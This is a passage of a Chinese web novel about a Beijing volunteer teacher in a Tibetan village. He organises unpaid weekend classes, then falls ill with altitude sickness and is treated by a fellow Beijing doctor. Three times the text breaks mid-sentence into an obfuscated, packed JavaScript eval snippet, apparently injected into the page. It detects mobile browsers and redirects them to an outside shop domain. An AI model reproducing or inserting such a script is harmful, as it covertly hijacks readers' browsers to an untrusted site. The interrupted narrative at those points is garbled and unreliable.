许南珩这么说,是因为许南珩有着明确的目的。三千五百多公里的路,一人一车开过来,紧赶慢赶四五天就到了。三千五百多公里的路,要学到什么程度,山区的孩子才能到北京? 索朗措姆有些犹豫:“这样学生压力会不会太大了?” 许南珩脱口而出:“他们目前的学习压力并不大啊。” “他们放学回家之后要做很多事情。”索朗措姆耐心地说,“做农活和家务,像达桑曲珍,她在学校里自己吃完饭之后,回家要给她卧病的爷爷做饭,还要做猪食、挤牛奶,现下要九月了,马上就要秋收,他们……” “等一下,抱歉校长。”许南珩打断她,“我明白这里的孩子会分担家务和劳作,但现在都初三了,关系到未来啊。” 索朗措姆是个很温柔的女人,她说话总是温声的,也没有因为许南珩理想化的发言而急于反驳。她端起茶杯抿了一口,说:“许老师,我很感激你的教学热情,我也很理解,你是北京来的,你看到这里的条件之后,你唯一的信念就是让孩子们出去。” 这话没错,许南珩教养很好。这些日子里无论是教学楼打扫卫生还是厨房帮忙打下手洗锅刷碗,即便干活不那么利索,但从没露出过嫌弃的神情,哪怕是下意识反应。 索朗措姆也是真心感激他,她接着说:“但转变需要时间,他们的父母,会说汉语的大多出去打工,不会说汉语的,就在山下的施工队做苦力,他们十三四岁、十五六岁,种土豆、挖虫草、放牛羊,是家里的主要劳动力。” 许南珩沉默了良久。 在这段沉默的时间里,他萌生出了一丝悔意,昨天训周洋是不是训得有点过了。可能周洋只有那个时候是放松的。 而索朗措姆就是留着时间给许南珩沉默,她更明白许南珩需要消化这些信息,首都来的年轻教师,可能大数据都不会推送这些内容给他。 所以很多时候人会进入一种困境。 这种困境通常可以看做是“死胡同”,父母外出务工,是为了家里有生活费,父母不在家,子女就要照顾老小。别看周洋那样吊儿郎当,他家里两个弟弟一个妹妹,全靠着他照顾。 周五下午的会议最后也没开出个所以然,许南珩怅然地躺在宿舍床上,垫了好几层的床软乎又温暖,随着时间走到八月末尾,西藏渐渐冷了,就像方识攸说的那样。 许南珩这晚很久睡不着,他开始不确定自己在这里支教的教学意义。 那些有关“未来”的字眼好像在这里没办法作为学生学习的主要驱动力,因为有一个更强烈、更具象的驱动力它叫做“活着”。 许南珩这么躺着,悠长地叹了口气。 大少爷很少这么无力又无措,可这世界就是个巨大的金字塔,它就是这样运转的。 手机震动了下。 许南珩举到面前,解锁。 方识攸发来的微信:[忙完了吗?] [刚开完会,躺着呢。] [方便下楼吗?] “嗯?”许南珩坐起来,随后想起来方识攸之前说的,过两周回来。所以下周方识攸会在村庄小医院轮值一个礼拜。 许南珩回:[方便啊,你在学校楼下?] [现在在了。] 许南珩赶紧穿上鞋,顺便用前置摄像头看了眼自己头发有没有躺炸毛。 方识攸是刚刚从小医院走路过来的,他没上楼,就在1班门口的前廊下站着,手里拎着个看着挺重的袋子。 见他下楼,笑了下:“县医院今天发了水果,拿了点儿给你。” 许南珩这个人,一旦他接受了另一个人作为朋友,就会无比坦然,坦然得像在家里。他一听方识攸给他带了水果,一笑,说:“嗐搞这么客气!——都有啥呀让我看看。” 然后手指头去勾着方识攸拎的塑料袋,往里看。 西藏地界由于海拔过高以及气候条件问题,从前种不活几种水果,后来有了更好的种植技术,以及从四川新疆等地运输过来,市区和县城的水果种类丰富了许多。 但村庄就没那么好的条件,许南珩到这儿以来,吃的水果主要都是苹果。 “有火龙果、甜瓜、橙子。”方识攸拎着袋子的另一个把手,说,“也不知道你爱不爱吃,但这边水果挺少的,等天冷了就更少了,每样都拿了点。” “都爱吃。”许南珩说着就从里面捏了个橙子出来,因为他发现这不是那种需要刀切的橙子,可以手剥,简直完美。 方识攸起先还担心他不好意思收,这会儿算是安心了,许南珩手指往里一抠,开始剥橙子。 边剥边说:“晚上开了个会。” “嗯。”方识攸转过身,从1班里拎了俩凳子出来。许南珩扭头看了眼,一点没客气,一屁股坐下。 许南珩接着说:“这边孩子回家还要干农活呢?” 方识攸点头:“对,他们家里大多上有老下有小,哎对了,差点忘了。” 方识攸从他外套口袋里掏出一个扁盒子,递给他:“达桑曲珍是你们班上的吧,你周一上课帮我把这个交给她,活血化瘀的膏药,她爷爷贴后背的。” “好嘞,记着了。”许南珩把剥好的橙子掰一半给他,“你直接放水果袋子里。” 方识攸就放进去了,然后问:“你怎么忽然问起这个?” “别提了。”许南珩咬下来一瓣橙子,边嚼边抬头看星星,“傍晚开会,我透露出了一丝加大教学强度的念头,他们底子太差,想用高三艺考生补文化课的节奏来带这年初三。” “那不成。”方识攸没有索朗措姆半点委婉,“他们忙不过来的。” “可是不学怎么办呢,方大夫。”许南珩扭头,一双眼睛和他对视,“怎么办呢,不学,不考出去,这后面大几十年,就、就在这儿过了吗?还是说,出去打工,初中毕业,没学历,能打到什么工?” 方识攸低了下头,他明白许南珩是个教育工作者,能理解许南珩。甚至方识攸能猜到,这番话他也就在自己面前说说,开会的时候绝对没这么说。< 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这说到底,就是困境。 许南珩想要孩子们只管学习,方识攸希望病患们去医院看病,他们都希望自己负责的对象能够走出村子。 但事情往往没有那么简单,这世界就没有几件简单的事情。 索朗校长的“理解”是能够明白许南珩的动机,方识攸的“理解”则是真实的感同身受,他们是同频的。 “我太理想化了。”许南珩叹气,叹完又吃了瓣儿橙子,“挺甜的。” 方识攸见他心态还挺好,也放松了些,说:“总之,这些事情不是一朝一夕,也不是一两个人能改变的。这里的人们,要先‘活着’,然后才是‘好好活着’。我没法劝你什么,我们只能尽力而为,许老师。” “嗯。”许南珩点头。 两个人分享了一颗橙子后,无言地在星空廊下坐了一会儿,然后把凳子放回教室,互道晚安告了别。 方识攸以为这一番对话之后,许南珩就能看开了。 结果是,周六早上九点整,许南珩到医院找他来了。 他吓一跳,以为许南珩出了什么事儿,毕竟这是休息日闷头睡到下午的人。“怎么了你?”方识攸在医院走廊撞见他了。 “打印机借我,我打套卷子。”许南珩说,“校长说打卷子都在医院打。” “噢。”方识攸说,“去护士台,那儿有。” “好嘞。” 方识攸又问,“怎么这么一大早的来打卷子?” 许南珩也不遮掩,跟着他走进诊室,反手把他诊室门一关,在他办公桌旁边的凳子坐下,掏出手机给他看。手机屏幕上赫然是他和谭奚老师的聊天记录,方识攸便看了眼。 许南珩扼腕:“大凉山都开始补课了,喜马拉雅山的怎么睡得着!我得卷死谭老师啊。” “补课?”方识攸问,“教育部不是禁止补课吗?” ——还有就是为什么你们支教老师都要卷一卷对方,这是什么大城市特产吗。 许南珩眼睛一眯,凑近,笑得有点狡黠:“我问过谭老师了,谭老师也打听过了,禁止补课,是禁止有偿补课,教育部文件写的是《严禁中小学校和在职中小学教师有偿补课的规定》,我们无偿,没问题。” “至于学生们家里的事情,我再想办法。” 许南珩凑得更近,又说:“再说了这天高皇帝远的,谁举报我,我回头在二楼教师宿舍我那门板贴上‘教导办’三个字,我倒要看看堂下何人状告本官。” 方识攸:“……” 这年头支教老师已经这么嚣张了吗。 15. 第 15 章 许南珩早上过来医院不仅是打卷子,还有他定制的校服,方识攸昨天回来的时候一起装皮卡里了。 许南珩没着急看校服,卷子打完后抱着卷子跟方识攸打了声招呼就溜了。方识攸还想问一嘴他吃没吃早餐,他人都已经跑出二里地了,火急火燎的。 先把试卷放去三楼的办公室,办公室里没人,他慢吞吞地走下楼,心里有点烦。 秉承着不在校园抽烟的原则,许南珩到院子外面点了根烟。今天早上他醒得很早,生生急醒的,非常切身地感受到了自己念书的时候老师说的那种“我真替你们急啊我急得都睡不着觉”。 那会儿许南珩觉得哪儿就这么夸张了。 现在的许南珩:我急得睡不着觉。 结果一觉睡醒八点四十,看见了谭奚老师发来的微信。谭老师在微信上告诉许南珩他这周开始每周单休,周六正常上课。 许南珩当即对其进行严厉地控诉:你怎么能补课呢,大凉山彝族地区没有教育部门吗! 谭奚这才说,他和几个老师仔细研读了教育部当年禁止补课的文件,抓住了关键词“有偿”。他在大凉山本来就不收课时费也不领工资,所以不存在收费问题,且他发了邮件到教育部,说明了情况。 谭奚在微信上说,他那儿的学生底子太差了,许多学生连小学的东西都没学明白,学初三的知识实在是灾难,不补真不行。 许南珩这边何尝不是,但他又顾虑着索朗措姆说的情况,如果周六也补课,那么作为家庭主要劳动力的这些学生又如何两头兼顾——两头兼顾,许南珩脑海里浮出这四个字的时候,真是一阵唏嘘。 补课这个事儿还是要经过校长的同意。 一根烟抽完,他想了个折中的法子。他给索朗措姆打了个电话过去,对方半晌才接起来。 许南珩:“索朗老师!您在哪儿呢,我想到了个办法让孩子补课,您今天方便吗,咱聊聊?” 索朗措姆那边的环境音挺安静的,她讲话还是一贯的柔和,好像天大的事情都能泰然面对:“许老师,今天不太方便,我带卓嘎在医院复查,不过你可以微信上打字和我说,等卓嘎做核磁的时候我会看看。” 许南珩赶紧说:“那,那您先忙,周一开会再聊也不迟。” 他站的方向就面对着1班前门,昨天晚上他和方识攸就坐在那儿聊了好一会儿。原本他以为自己想开了,就像方识攸说的那样,尽力而为就行。 许南珩确实听进去了,“尽力”就是“拼尽全力”。 周一例会。 三楼办公室。 许南珩先说了校服的事儿,关于校服,他和索朗措姆交流过了,今天会以学校的名义发放给学生。还有摸底考试,全科两天考完。 最后一件事,许南珩提出了补课。 补课的话题一说出来,索朗措姆有些无奈。许南珩又说:“我明白您的顾虑,但我想了个平衡的办法,分组补课。” 许南珩说:“比如我们2班,32个学生,分三组,这周六第一组补课,不参加补课的老师,去帮这组同学家做农活,另外两组的学生忙完自己家里的,也一块儿帮忙。我们有五个老师,足够轮换。还有,晚自习我也希望……能提上日程,也分组上晚自习,老师去组员家里帮忙。” 在北京的话,许南珩这个法子是得罪同事的,他凭什么让其他老师在休息期间干活,但这儿是贫困山区,他顾不上这么多。 但这方面他也有打算,同样准备通过索朗措姆的手,给其他老师发放些补偿。譬如再过两个礼拜就是藏历七月十五,届时他再托方识攸从县城或市里多买点水果吃食,让校长发放给老师们。 无偿补课嘛,总不好发钱。 然而许南珩心里打着算盘的时候,其他几位老师直接赞同了。 尤其次仁老师还有些担忧地看向了许南珩,问:“许老师能行吗?” “我?”许南珩不解,“我当然行,我提出来的我肯定行啊。” 次仁老师摆手:“不不,是这样的,我们都没问题,因为原本我们就会帮助学生松土牧羊背牛粪,这些活,你在大城市肯定碰都没碰过。” 次仁老师讲话很直白,因为现实就是这么直白。然而许南珩笃定地看着他:“原来您指这个,这方面我也想到了,没事儿,我这四肢健全的,十三四岁孩子能做的活我还能做不来吗。” “很脏很累的。”次仁老师说。 “只要能补课。”许南珩说,“能补一点是一点,就算……” 他调整了一下情绪和呼吸,最后目光看向校长,和她对视,说:“就算初中毕业,不读了,外出务工,最起码学点英语,薪酬说不定能……高点儿。” 这是一个教育工作者最后能做的了。 校长同意了补课计划,两个班级分组补课,第一节课的时候跟学生们讲了这件事情。原本许南珩想说卓嘎那个小身板就别补课了,结果卓嘎还挺开心,她开心的点是礼拜六可以跟同学们一起干活。 周一这一天都在考试,许南珩监考。晚上熬夜把三科卷子改了出来,也喝掉了他最后一袋速溶咖啡。 周二许南珩跟次仁老师换班监考,又考了一天。 午休的时候发微信给方识攸,问他那儿有没有多余的咖啡,方识攸说给他送过来,他阻止了,走路去医院,顺便抽烟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727268|189515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许南珩照例不掏火机,准备跟他要火的时候,方识攸直接摁住火机帮他点上了。 “这黑眼圈。”方识攸咬着烟自己点,然后打量他。 许南珩深深吸了一口,仰头往天上吐烟:“哎,没辙,没时间了,每天都要紧迫起来,拿初三当高三带。” 方识攸夹下烟:“那你这趟回去带高三的话也是有经验了。” “确实。”许南珩点头,摸摸兜里揣的速溶咖啡,问,“你给我这么多,你自己还有剩的吗?” 方识攸没答,只说:“你看着需求量比较大。” 上回在县城买了不少咖啡,方识攸算着这还不到一个月就空了。 许南珩无奈:“速溶其实功效不太行,我都一杯水泡两三袋,哎主要我觉得我可能咖啡/因有点耐受了,有这说法吗?咖啡/因耐受。” 方识攸点头:“它主要是刺激中枢神经,你要是长期大量的喝,肯定会耐受。” “是啊,速溶不够劲儿了。”许南珩又把烟咬上,掏出手机来,没低头,垂着眼,“本来以为不用麻烦你,还是得麻烦了。” 方识攸嗯了声:“说呗什么事。” “买个胶囊咖啡机。”许南珩打开淘宝点了几下,“寄去你医院,下下周帮我带过来。” “行。” 俩人抽完了烟,把烟丢进医院门边的垃圾桶里。许南珩伸了个懒腰准备告辞了,拍了拍兜,说:“谢了啊。” “谢什么。”方识攸笑了下。 “哦对了还得买个杯子。”许南珩又掏出手机,打开淘宝,自言自语,“买个防洒防漏的,回头带着去田里干活。” 方识攸问:“去田里干活?” “是啊。”许南珩把补课计划跟方识攸简单说了下,他这个人,接纳了另一个人之后,嘴就会碎起来,话也会变多,说完又抱怨,“好嘛,这邮费,够我吃顿麦当劳了。” 邮费贵是贵了点儿,但没那么夸张。他正要收起手机回学校,方识攸说:“等会儿。” “嗯?” “那个,你是打算在学生补课的时候,你们老师轮流帮学生家里干活是吧。”方识攸寻思了一下,他是见过藏民的农活的,“你……你站这儿等我会儿,我给你拿点东西。” 许南珩疑惑:“拿什么呀?” 方识攸没答,他很快就又出来了,不是从诊室里拿东西,他是在院里停车位上从自己车上拿的。 “喏。”方识攸递给他。 许南珩接过来,念道:“……云南白药跌打止痛贴。这不是给曲珍她爷爷用的吗?” 方识攸真诚且坚定地看着他眼睛,说:“你相信我。你用得上。” 16. 第 16 章 许南珩打小就听劝,抿了抿唇,收下了膏药。 学生的摸底考试在周二傍晚结束了,许南珩留了一组学生晚自习。像早上计划的那样,达娃老师去到达桑曲珍家和另一位需要照顾老人的家里,给老人做晚餐,整理床铺,还有1班有个孩子家里的老人行动不便,次仁老师过去帮助他擦洗后安置在床上。 学生们穿上印有名字的校服后许南珩轻松了很多,他班里就三十几个人,光是名字里有“扎西”的就六个,目前他只能分出扎西卓嘎。 学生们在下面自习,他坐在讲台上改卷子。 许南珩希望自己能给学生们带来最普通最寻常的初三生活,他的想法一直都很简单,他是来教书的不是来传递爱的,毕业班就要有毕业班的样子。 他尽量以北京的习惯来约束他们,也是从某种意义上让他们了解大城市的行为习惯之一,卷。 许南珩不喜欢“卷”的核心意义,因为卷这件事往往卷的都是同行甚至自己人,可是过来山区,他意识到卷,是可以卷出一条生路的。尤其在读书上卷。 他抬眸,红笔撂下,坐直。 这一系列姿态是北京学生最怕的,沉默不语地凝视,以及无声的压迫力。前提是,学生能看懂肢体语言。 诚然,周洋看不懂他这套严肃的动作,依然在那儿用纸片子团成纸团,砸另一个学生玩。 “周洋。”许南珩不轻不重地点名,“别人在背单词,你自己不背别耽误人家。” 周洋无奈地收起嬉皮笑脸,说:“许老师,我本来就不想自习,你让我回去吧,我弟弟妹妹在家我不放心。” “达娃老师会在你家看着他们直到下晚自习,你不用担心。”许南珩平静地说,“你要是看不进去书,就老实坐在这,这是课堂规矩,你就算出去打工也得守规矩,不是吗。” 这说服了周洋,周洋老实了,坐在那儿翻语文书。 许南珩继续改卷子,他改数学卷和英语卷,午休的时候把物理化学改了。村庄学校没有实验室,他们的物理化学实验要去县城里做。 教室里只有翻书和背书的声音,统一的校服,埋头苦读,和北京的晚自习好像没什么不同。许南珩之前实习的时候会帮忙看晚自习,如果卷子的内容不是初三知识,就更像了。 日落后夜幕低垂,天上星光,地上灯光。许老师跟在这十一个学生后面,看着他们回去各自的家,村庄不大,挨个送了一圈,也算摸了一圈他们家门。最后折回学校。 回去学校的路他走得慢悠悠的,这两天一直伏案,这儿没有健身房,也没有游泳馆,湖倒是很多,但他尚不敢在湖里游泳。 村庄照明不足,但星月高悬,干净的大气,近距离的天空,倒也不是很需要路灯。 许南珩尝试用手机给星空拍照,但怎么都拍不出肉眼所见,遂放弃。 临到快走到学校,许南珩朝小医院的方向看了眼,医院有些窗户亮着灯。不知道方识攸是不是在加班。 他在这儿唯一的熟人,老乡,甚至在照顾着自己。 其实这个时候他挺想家的,村庄的泥瓦砖房几乎不隔音,把学生们一个个送回家后,简陋但温暖的房子里传出来欢乐的说话声。 尽管他们说的是藏语,许南珩听不懂,但家中老人和弟弟妹妹们欢欣的语气他能听懂。 而此时此刻,在这里,与他有唯一联系的人就是方识攸,他们都是北京人,都是来援藏的。并且,他们都一样,希望学生走出去,希望病患来医院。 他忽然有点想给方识攸发个微信,倒不是有事儿,随便聊两句也行。他在这儿举目无亲,感觉到有些……孤独。 这是许南珩第一次萌生出这种情绪,或许是因为从小到大没有离开过家,连大学都是在北京念的,眼下在三千多公里外的异乡,忽然之间格外想念一碗打卤面,或者麦当劳。 饿了。许南珩抿唇,加快脚步,宿舍里有方便面和零食,他同时计划着等到国庆假期,要去市里买个空气炸锅和半成品薯条。 许南珩从不亏待自己,并且他绝对是个包容自己的人。比如布达拉宫太高,不爬就不爬了,坡上的寺院海拔也高,不逛就不逛了,人没有必要把自己逼的太狠。 许南珩吃饱后缩进被窝里,这夜他做了个梦,梦里梦见了初中时候。那天是个无人看管的自习课,班里几个混小子直接跑去操场玩了,他们教室在2楼,可以直接看见篮球场。 班里的男生在自习课溜去操场打球时有发生,学生时代男孩子的情谊有多坚定,就看他们翘课打球上网会不会喊上你。而许南珩,没有,一次都没有,原因无他,他们学校教导主任和许南珩的父母有交情,校长又是许南珩他姥姥曾经的下属。这样的孩子,就差脸上写着“我会告状”四个字了。 他人缘并不好,普通同学认为他高不可攀,京城少爷圈他又不感兴趣,久而久之,就算了,不如回家跟他姥爷喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727269|189515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一盅。 梦里那些咚咚的篮球砸地板的声音越来越远,越来越淡。梦里他坐在靠窗的位置写试卷,教室里越来越空,大家先后离开了,没有人过来叫他一块儿。 许南珩不在乎,他独来独往惯了,越这样就越不会有人来靠近他。梦里的教室彻底空了下来,然后一个穿白衬衫的男人坐到他旁边,偏头朝他笑,说:“许老师。” 那人又改口:“啊不对,这个年纪应该叫你‘许同学’。” 梦里许南珩对他说:“随便叫,爱叫什么叫什么。” “那还是叫许老师吧。”白衬衫男人说,“许老师,你感觉怎么样?” 许南珩做卷子呢,这人一直在旁边讲话,他蹙眉:“我感觉你很吵啊方大夫。” 欸,方大夫为什么会在班级里,许南珩停下笔,慢慢扭头,打量他。方识攸还在问:“许老师?你怎么样?” “许老师?”方识攸环过他肩膀,让他上半身稍微靠在自己臂弯,“醒醒,许老师。” 许南珩先睁开了眼,但视线不聚焦,模糊的,有点像不停对焦的镜头。 紧接着,方识攸又说:“吸气,许老师。” 他照做,吸了一口气。 “再吸。”方识攸说,“许老师。” 旁边又有个声音,小姑娘的声音,有点焦急,问:“方医生,许老师没事吧?” 方识攸说:“没事,他是高反了,头晕,加上他本来睡眠就深所以才没听见敲门。” 如果许南珩没听错的话,说话的小姑娘是达桑曲珍。他微微蹙眉,看向这两个人。 方识攸正坐在床边环着自己,拿着个氧气罐对着自己的脸,一旁站着的达桑曲珍一脸担忧,凝视着许南珩。 终于,许南珩缓过来劲儿了,他拍拍方识攸的手背,示意自己想说话。 方识攸挪开氧气罐,给他解释:“你半天没去上课,曲珍上楼来找你,敲门没人应,她怕你出事儿,几个男生上来把你门踹开,发现你昏在床上,然后去医院找我的。” “什么急事儿啊。”许南珩无力地问。 方识攸眨眨眼,说:“她喊你上课呀。” 许南珩一时半刻没反应过来,缺氧导致他当下的记忆碎片化。他的记忆停留在昨晚下晚自习挨个送学生们回家,自己回来在学校食堂煮了个面,然后吃完上楼。 于是说:“我不是刚下课吗,怎么又上课,西藏生活节奏这么快吗?” 17. 第 17 章 事情是这样。 许南珩通常是七点二十分到班级,第一节课上课之前,许南珩会坐在讲台,和在北京的时候一样,看早读的时候,进来一个学生,互道早上好。 而今天,已经七点半了人都到齐了还不见许南珩。于是大家建议班里学习最好的达桑曲珍去找一下。 曲珍知道许老师住在学校的教师宿舍,就在次仁老师的宿舍旁边。她上楼后敲门,敲了好一会儿,有几下子拍门已经重得像讨债了,里面还是没动静。曲珍下楼回班里,跟同学们说许老师屋里没人应,也说了自己敲门敲得非常响。 同学们忽然就慌了,有人说该不会出事了吧,有人说许老师会不会在里面病倒了。 这群初三生莽的,都忘了先去1班找达娃老师求助,周洋翘着二郎腿呢,把后排男生一招呼,咻地跑上二楼。 周洋觉得曲珍大约是敲门不够响,即便曲珍很笃定自己用力了,周洋还是觉得一姑娘能有多大劲。 周洋把那门板锤得都哆嗦了,里面许南珩还是没动静。 曲珍可愁坏了,差点掉眼泪,周洋把嘴里瓜子皮“呸”地吐出去,极具爆发力的一脚,“砰”把门踹开了。几个学生连忙跑进去,见许南珩昏死在床上,周洋震声道:去叫医生! 这动静终于惊到了1班上课的达娃老师,达娃老师跑上楼的时候曲珍正好下楼,她抓住达桑曲珍问怎么回事儿,曲珍着急忙慌地说了句“许老师晕倒了!”然后窜下楼跑向医院。 直到方识攸过来,达娃老师才安心,把堵在走廊往许南珩屋里瞅的孩子们赶下楼,让他们回班里自习。 方识攸把氧气罐又捂上来,说:“你是缺氧导致意识模糊,你不是刚下课,这会儿已经晌午了。” 许南珩就这么歪在他怀里吸着氧,听着方识攸说话。 方识攸把他手指头上的血氧仪摘下来,说:“血氧太低了,你得去医院吸氧。” 许南珩抬起手,方识攸以为他要跟自己说什么,遂低头。然而许南珩指了下达桑曲珍,曲珍走过来,看着他。 许南珩虚弱着断断续续地说:“你,坐标上三、三条抛物线,都画对了,问你a越怎么样开口越小,图都画对了你、你字儿给我写反了。” 达桑曲珍哑然,抿了下嘴。这姑娘摸底考,两个班里数学考得最好的,许南珩对她寄予厚望,结果姑娘犯了个低级错误。 方识攸扭头跟曲珍说:“下楼自习去吧,别再给气背过去了,本来就喘不上来。” 曲珍“嗯”了声,扭头溜了。 方识攸叹了口气,转而顺了顺许南珩后背,说:“你再吸两口,看看能不能走路,不能走的话我背你去医院。” “方大夫。”许南珩刚才是靠在方识攸手臂上,他努力坐直起来,尽管气儿都喘不上来,但依然坚强地向床尾爬行,“方、方大夫……” 方识攸以为他是拉不下颜面,不想让学生们看见他被人背着的窘迫模样,他那爬行时候坚毅的眼神仿佛在说“我就是爬也要自己爬去医院”。方识攸刚想说搀着走也能走回去的时候…… 许南珩爬到了床尾,抓住外套,说:“就拜托你了。” 好嘛,一生善待自己的人民教师。 且方识攸发现他爬去床尾不仅是为了拿外套,还有一个iPad,他检查了一下iPad壳儿里的笔是在的,再将它拿好。 方识攸把他背了起来。许老师偏瘦,平时因为坐着低头写字,为了颈椎腰背,唯一的锻炼内容是游泳。健身房年卡没练出多漂亮的肌肉也没达到多少的体脂,主要许老师太懂得对自己好点儿,稍微累点儿就冲澡回家。 背到一楼的时候,方识攸明白这老师是真的不在乎自己被学生看见这么羸弱的样子,因为许南珩趴在他肩膀,拍了拍他,气若游丝道:“背我去后门那儿,我偷看一眼后排那几个臭小子。” “……”方识攸差点笑出来,说,“我读书的时候最怕你这种。” “哎对喽。”许南珩说,“许老师专治你这种。” 许南珩从后门的窗户那儿眯着眼睛扫了一圈,今天这些孩子都算不错,要么背语文要么背英语。许南珩基本满意,说:“行了走吧。” 今天这么一折腾,激发了不少学生内心的柔软,譬如周洋,在那儿趴着看藏语文。因为1班的达娃老师说了句话,说许老师大老远从北京过来,身体这么差,还坚持要补课和晚自习,大家断不能辜负他。 想来也是,这老师看着就瘦条条的,吃饭也只吃一碗。周洋到底年纪摆在这儿,他只是皮了点,不是不知好歹。 方识攸扶着许南珩躺上病床,打开床头的氧气,说:“先吸氧,我给你量个体温,你是空腹吗?” 许南珩点头。 “好。”方识攸说,“我叫护士来给你抽个血,应该只是高反,但今晚你住这儿观察吧。” “不成啊,我下午要讲卷子。”许南珩说。 方识攸看了他一眼,拿起床头柜上的查房表,在上面签名,说:“你要讲卷子,我帮你把学生叫过来,围着这床听你讲。” 许南珩嬉皮笑脸:“可以吗?” “……”方识攸斜乜他一眼,没出声。 签完查房表,又在床头牌签了主治大夫的名字,在病患一栏写上‘许南珩’三个字。 “我出去拿体温计。”方识攸说。 片刻后方识攸和护士一起进来,护士端着抽血的东西,方识攸拿来了耳温枪和听诊器。 “哎这不是许老师吗。”护士认出他来了,“怎么啦,哪儿不舒服?” “高反了他。”方识攸俯下来,给他量了一下,没有发烧,又用听诊器听他心音和肺音,看来是单纯的高反。 护士轻声笑了笑,去病床另一侧,给他胳膊绑好止血带,摁了摁血管。 许南珩挺害怕针头的,正好方识攸的听诊头按在他心脏。护士把采血管拿出来的时候,他心跳骤然加速,方识攸看向他脸,表情有点紧张。 “许老师。”方识攸站直起来,问,“这次摸底考成绩怎么样?” 说到这个,许南珩有点劲儿了:“和我预想的一样,有初一初二底子的人太少了,达桑曲珍算好点儿的,150满分的数学卷子,她考98分,全班最——嘶!最高。” 疼,许南珩瞄向左边胳膊。 护士知道他是老师,所以去扎左边胳膊,有的人抽血后会酸痛,这样也是为了不影响他右手写字。 护士笑了下:“疼哈?好了,已经抽好了。” 说完,护士照常拿棉签给他摁着,摁上了才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727270|189515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想起来:“哟,该拿那个贴的,你没劲儿摁吧?” “我来。”方识攸绕过来,在护士摁着的棉签上跟护士衔接了一下,帮许南珩摁着,顺势在病床边的凳子坐下了。 许南珩偏头看着他:“你拿个胶带给我贴上就行。” “这得用点力气摁,没事,三五分钟就行。” “你没事儿吗今天?”许南珩问,“别耽误你坐诊。” 方识攸摇摇头:“今天没病人,没事,来人了护士会叫我。” “谢了啊。”许南珩弯起唇跟他笑笑,“我来西藏这么久,净给你添麻烦。” “不麻烦。”方识攸也朝他笑笑。 一想到自己都来这么久了,许南珩一蹙眉,问:“哎对噢,我都来快一个月了,我怎么这会儿高反了?我从青藏公路过昆仑山也没高反啊。” 方识攸舔了下唇,说:“高原反应这个东西它本身就因人而异,没有规律,有很多人到高原之前吃了很久的红景天,可能像你一样开车过来,慢慢升海拔,但还是会高反。通常来讲,到高原之后的一个多月之内,都有可能出现高反症状。” “哦……”许南珩了然,“我之前还以为我天选之子。” 方识攸很赞同,点头道:“你确实很神奇,我很少见到刚来西藏不仅没高反症状,而且还能抽烟的人。” “是吗。”许南珩说话还是发虚,但不影响他语气骄傲,“应该不是我神奇,是人体神奇。” 这一点,学医的方大夫很赞同,他握着许南珩的左边胳膊,摁着棉签为他止血,眼睛看着他的脸,说:“人体最神奇的是大脑,人类的大脑有超过1000亿个神经元细胞,恰好,银河系也有超过1000亿个恒星。医学为了看清大脑,付出了与天文学看清银河系差不多的努力。” 好像还是有点缺氧,许南珩听着方识攸说话,感觉晕晕乎乎。 他不是听不懂的那种晕乎,而是一种飘忽。或许是因为这病房里另外两张床是空的,让这里形成一个两人空间,也或许是因为他梦里梦见了方识攸,此时看着他,有一种梦境现实交错的感觉。 许南珩问:“我之后还会高反吗?” “不一定。”方识攸说,“这次你是发晕,其实曲珍不来叫我,再过一会儿你自己也能醒,不用太害怕。” 许南珩点头:“给曲珍吓坏了。” “她最恐慌的应该是你都晕成那样了,还能想起她卷子上答错的题。”方识攸说。 许南珩抿唇垂眸。这点他承认,早上看见达桑曲珍那张脸他就来气,说:“那题不写错就101分了。” “就当她101分呗。”方识攸说。 说完,他挪开棉签看了眼,已经好了。他站起来将棉签丢进垃圾桶,问:“你驾驶证在车里吧?” “在,怎么了。” “我去帮你挂号再开个验血单,得用你身份证号,我照着驾驶证打。”方识攸说,“你最好再睡一下,等血常规出来了我再过来。” “嗯。”许南珩点头。 “有事儿打我电话。”方识攸说。 “方大夫。” “嗳。” 许南珩:“等回了北京,咱俩真得找个地儿好好吃一顿。” “一定。”方识攸说。 18. 第 18 章 许南珩这次突然的高反引起了校长以及其他老师的重视,索朗措姆和次仁老师这天上午去了县城初中,商量好了为村庄学生借用化学实验室的事儿,回来就听说许南珩进医院了。 校长吓一跳,还好达娃老师说了没什么问题,只是需要吸氧。这样一来,周六达娃老师和索朗校长补课,许南珩与另两位老师去学生家里帮忙做农活的计划,大家都觉得许老师还是别去了。 大家会下意识的认为高反的人都很虚弱,且会虚弱好一阵子。 况且,许老师都被送去医院了,不到万不得已谁去医院躺着呀。 